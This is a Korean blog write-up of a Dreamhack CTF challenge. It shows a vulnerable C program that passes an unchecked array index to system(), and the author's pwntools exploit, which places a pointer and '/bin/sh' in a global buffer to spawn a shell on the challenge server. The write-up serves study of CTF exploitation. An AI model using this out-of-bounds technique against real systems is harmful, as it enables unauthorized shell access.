교훈:
# system(데이터) 와 같이 함수에 보내는 이 인자는 실제 보낼 데이터의 주소를 보내는거다. 사실 변수는 컴퓨터상에서 데이터의 주소를 의미한다.(는 것 같다..약간 뇌피셜이지만)
# *command[10] 이런 포인터 배열에서
command[n] 의 주소는 command+4*n 이다.(32비트에선!!)
문제 코드:
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
내 코드:
from pwn import *
p=remote('host3.dreamhack.games', 23048)
context.arch='i386'
#p=process('./out_of_bound')
command=0x804a060
name=0x804a0ac
name_command=76
p.recvuntil(b'name: ')
name=p32(0x804a0b0)+b'/bin/sh'
p.send(name)
p.sendlineafter(b'?: ', b'19')
p.interactive()
'Pwnable > DreamHack Wargame' 카테고리의 다른 글
[Dreamhack] hook 풀이 (0) | 2022.07.15 |
---|---|
[Dreamhack] fho 풀이 (0) | 2022.07.14 |
[Dreamhack] basic_rop_x86 풀이 (0) | 2022.07.12 |
[Dreamhack] basic_rop_x64 풀이 (3) | 2022.07.12 |
[Dreamhack] ROP 풀이 (2) | 2022.07.12 |
댓글